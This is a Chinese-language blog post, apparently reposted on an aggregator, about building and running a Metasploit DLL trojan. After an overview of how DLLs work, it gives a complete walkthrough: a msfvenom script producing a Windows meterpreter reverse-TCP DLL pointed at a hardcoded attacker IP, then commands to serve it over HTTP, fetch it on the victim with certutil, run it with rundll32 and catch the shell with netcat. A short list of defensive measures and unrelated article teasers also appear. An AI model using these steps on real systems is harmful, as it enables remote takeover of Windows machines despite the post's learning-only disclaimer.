metasploit(2)生成dll木马

news2025/5/11 8:19:08

声明!本文章所有的工具分享仅仅只是供大家学习交流为主,切勿用于非法用途,如有任何触犯法律的行为,均与本人及团队无关!!!

一、dll文件基本概念

DLL 是一种包含可由多个程序同时使用的代码和数据的库。它允许程序在运行时动态地加载和使用其中的函数和资源,而不是将所有代码都静态地链接到可执行文件中。这样可以节省磁盘空间和内存,并且方便软件的更新和维护。

二、dll文件工作原理

1、静态链接 vs 动态链接

    静态链接:在编译时,将库文件中的代码和数据直接合并到可执行文件中。这样生成的可执行文件包含了所有必要的代码,但是文件体积较大,而且如果库文件更新,需要重新编译整个程序。
    动态链接:在运行时,程序才会去加载所需的 DLL 文件,并将其中的函数和资源映射到自己的地址空间中。多个程序可以共享同一个 DLL 文件,减少了内存的占用。

2、 加载过程

    当程序启动时,如果需要使用某个 DLL,操作系统会检查该 DLL 是否已经加载到内存中。
    如果 DLL 未加载,操作系统会将其加载到内存中,并为其分配一个基地址。
    程序通过 DLL 的导出表找到所需的函数和变量,并调用它们。

三、DLL文件的优点

节省磁盘空间和内存:多个程序可以共享同一个 DLL 文件,避免了代码的重复存储和加载。
易于更新和维护:如果 DLL 文件中的代码需要更新,只需要替换 DLL 文件即可,不需要重新编译整个程序。
模块化开发:将不同的功能封装在不同的 DLL 文件中,便于团队协作开发和代码的复用。

四、dll文件的缺点

版本兼容性问题:如果 DLL 文件的版本发生变化,可能会导致与使用该 DLL 的程序不兼容。
依赖管理复杂:程序可能依赖多个 DLL 文件,这些 DLL 文件之间也可能存在依赖关系,管理起来比较复杂。
安全性风险:恶意软件可以通过替换或注入 DLL 文件来执行恶意代码。

五、DLL 文件在渗透测试中的应用

1、反弹 Shell

如之前脚本中所示,使用 msfvenom 工具生成包含反弹 Shell 功能的 DLL 文件,然后在目标主机上执行该 DLL 文件,与攻击主机建立反向连接,从而获得目标主机的控制权。

2、权限提升

通过注入 DLL 文件到具有高权限的进程中,利用该进程的权限执行恶意代码,实现权限提升。

六、常见的 DLL 操作命令

rundll32:用于运行 DLL 文件中的指定函数。例如:rundll32 example.dll,FunctionName
regsvr32:用于注册和注销 DLL 文件。例如:regsvr32 example.dll 注册 DLL,regsvr32 /u example.dll 注销 DLL

七、安全防护措施

数字签名验证:确保 DLL 文件来自可信的发布者,通过验证数字签名来防止恶意 DLL 文件的加载。
白名单机制:只允许加载系统中预先定义的白名单中的 DLL 文件,禁止加载未知来源的 DLL 文件。
实时监控:使用杀毒软件和入侵检测系统实时监控 DLL 文件的加载和执行情况,及时发现和阻止恶意行为。

八、msf生成dll木马

1、创建dll生成脚本

vim msf_dll.sh


#!/bin/bash

ip=192.168.60.128
port=4444
arch=x86
platform=windows
format=dll
payload=windows/meterpreter/reverse_tcp

# use exploit/multi/handler

out=$HOME/Desktop/a.dll

msfvenom -p $payload LHOST=$ip LPORT=$port -f $format  -a $arch --platform $platform -o $out

2、执行脚本创建dll木马

chmod +x msf_dll.sh
./msf_dll.sh

九、windows运行dll木马

1、攻击机创建http微服务

python -m http.server 8008

2、攻击机建立监听

nc -lvvp 4444 

3、windows下载dll木马

certutil -urlcache -split -f "http://192.168.60.128:8008/a.dll" a.dll

4、windows靶机执行dll木马

rundll32 D:\a.dll,DllMain

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2340644.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

数据结构--并查集-高效处理连通性问题

目录 一、理论基础 (1)并查集的功能及实现原理 (2)代码模版 (3)模拟过程 (4)应用 二、基础题练习 (1)寻找存在的路径(模版题) …

WPS Office安卓版云文档同步速度与PDF转换体验测评

WPS Office安卓版是很多人常用的移动办公软件。它支持在线编辑、文档同步、格式转换等功能,适合手机和平板用户随时处理文档。我们用它配合谷歌浏览器打开网页文档时,也可以将内容快速保存到云端或转换成PDF格式使用。 先说云文档同步。在打开WPS Office…

Eureka、LoadBalance和Nacos

Eureka、LoadBalance和Nacos 一.Eureka引入1.注册中心2.CAP理论3.常见的注册中心 二.Eureka介绍1.搭建Eureka Server 注册中心2.搭建服务注册3.服务发现 三.负载均衡LoadBalance1.问题引入2.服务端负载均衡3.客户端负载均衡4.Spring Cloud LoadBalancer1).快速上手2)负载均衡策…

【Linux网络】构建基于UDP的简单聊天室系统

📢博客主页:https://blog.csdn.net/2301_779549673 📢博客仓库:https://gitee.com/JohnKingW/linux_test/tree/master/lesson 📢欢迎点赞 👍 收藏 ⭐留言 📝 如有错误敬请指正! &…

【每天一个知识点】大模型的幻觉问题

“大模型的幻觉问题”是指大语言模型(如GPT系列、BERT衍生模型等)在生成内容时,产生不符合事实或逻辑的虚假信息,即所谓的“幻觉”(hallucination)。这在诸如问答、摘要、翻译、代码生成等任务中尤其常见。…

[大模型]什么是function calling?

什么是function calling? 大模型的 ​​Function Calling​​(函数调用)是一种让大语言模型(如 GPT、Claude 等)与外部工具、API 或自定义函数交互的机制。 它的核心目的是让模型能够根据用户的需求,​​…

Java高频面试之并发编程-05

hello啊,各位观众姥爷们!!!本baby今天来报道了!哈哈哈哈哈嗝🐶 面试官:线程有哪些调度方法? 在Java中,线程的调用方法主要包括以下几种方式,每种方式适用于…

野外价值观:在真实世界的语言模型互动中发现并分析价值观

每周跟踪AI热点新闻动向和震撼发展 想要探索生成式人工智能的前沿进展吗?订阅我们的简报,深入解析最新的技术突破、实际应用案例和未来的趋势。与全球数同行一同,从行业内部的深度分析和实用指南中受益。不要错过这个机会,成为AI领…

【Linux】47.高级IO(1)

文章目录 1. 高级IO1.1 五种IO模型1.2 高级IO重要概念1.2.1 同步通信 vs 异步通信1.2.2 阻塞 vs 非阻塞 1.3非阻塞IO1.3.1 fcntl1.3.2 实现函数SetNoBlock1.3.3 轮询方式读取标准输入1.3.4 I/O多路转接之select1.3.4.1 初识select:1.3.4.2 select函数原型1.3.4.3 理…

notepad++技巧:查找和替换:扩展 or 正则表达式

notepad 有很多优点:多标签,代码高亮,我最喜欢的是查找和替换。 除了可以一次性查找所有打开文件,还可以使用 扩展 or 正则表达式。 例如: 去掉空行:正则表达式: ^\s*$\r\n ^ 表示行首。\s*…

【图像标注技巧】目标检测图像标注技巧

介绍一些图像标注技巧。之前引用过别人的文章 yolo目标检测 技巧 trick 提升模型性能,deep research检测调研报告也可以进行参考。 拉框类的标注,如果你不确定哪种方法好,你可以把所标注区域的都剪切出来,然后站在屏幕一米之外眯…

MuJoCo中的机器人状态获取

UR5e机器人xml文件模型 <mujoco model"ur5e"><compiler angle"radian" meshdir"assets" autolimits"true"/><option integrator"implicitfast"/><default><default class"ur5e">&…

测试第四课---------性能测试工具

作者前言 &#x1f382; ✨✨✨✨✨✨&#x1f367;&#x1f367;&#x1f367;&#x1f367;&#x1f367;&#x1f367;&#x1f367;&#x1f382; ​&#x1f382; 作者介绍&#xff1a; &#x1f382;&#x1f382; &#x1f382; &#x1f389;&#x1f389;&#x1f389…

【C++】新手入门指南(下)

文章目录 前言 一、引用 1.引用的概念和定义 2.引用的特性 3.引用的使用 4.const引用 5.指针和引用的关系 二、内联函数 三、nullptr 总结 前言 这篇续上篇的内容新手入门指南&#xff08;上&#xff09;&#xff0c;继续带大家学习新知识。如果你感兴趣欢迎订购本专栏。 一、…

前后端分离项目在未部署条件下如何跨设备通信

其实我此前也不知道这个问题怎么解决&#xff0c;也没有想过—因为做的项目大部分都是前后端分离的&#xff0c;前端直接用后端的部署好的环境就行了。最近也是有点心高气傲开始独立开发&#xff0c;一个人又写前端又写后端也是蛮累的&#xff0c;即使有强有力的cursor也很累很…

基于Python的多光谱遥感数据处理与分类技术实践—以农作物分类与NDVI评估为例

多光谱遥感数据包含可见光至红外波段的光谱信息&#xff0c;Python凭借其丰富的科学计算库&#xff08;如rasterio、scikit-learn、GDAL&#xff09;&#xff0c;已成为处理此类数据的核心工具。本文以Landsat-8数据为例&#xff0c;演示‌辐射校正→特征提取→监督分类→精度评…

vscode python 代码无法函数跳转的问题

TL; DR; python.languageServer 配置成了 None 导致 vscode python 代码无法函数跳转 详细信息 mac 环境下 vscode 正常 command 鼠标左键 可以跳转到定义或者使用位置&#xff0c;但是我的为何不知道失效了 我一开始以为是热键冲突&#xff0c;结果发现 mac 好像没办法定…

Unity 脚本使用(二)——UnityEngine.AI——NavMesh

描述 Singleton class 用于访问被烘培好的 NavMesh. 使用NavMesh类可以执行空间查询&#xff08;spatial queries&#xff09;&#xff0c;例如路径查找和可步行性测试。此类还允许您设置特定区域类型的寻路成本&#xff0c;并调整寻路和避免的全局行为。 静态属性&#xff0…

从项目真实场景中理解二分算法的细节(附图解和模板)

遇到一个真实场景里使用二分算法的问题&#xff0c;本以为可以放心交给小师弟去做&#xff0c;结果出现了各种问题&#xff0c;在此梳理下二分算法的核心思想和使用细节。 文章目录 1.场景描述2.场景分析3.二分算法的精髓3.1 核心模板3.2 二分过程图解3.3 各种区间写法3.3.1 闭…

Jetson Orin NX 16G 配置GO1强化学习运行环境

这一次收到了Jrtson Orin NX, 可以进行部署了。上一次在nano上的失败经验 Jetson nano配置Docker和torch运行环境_jetson docker-CSDN博客 本次的目的是配置cuda-torch-python38环境离机运行策略。 Jetson Orin NX SUPER 1. 烧录镜像 参考链接在ubuntu系统中安装sdk manag…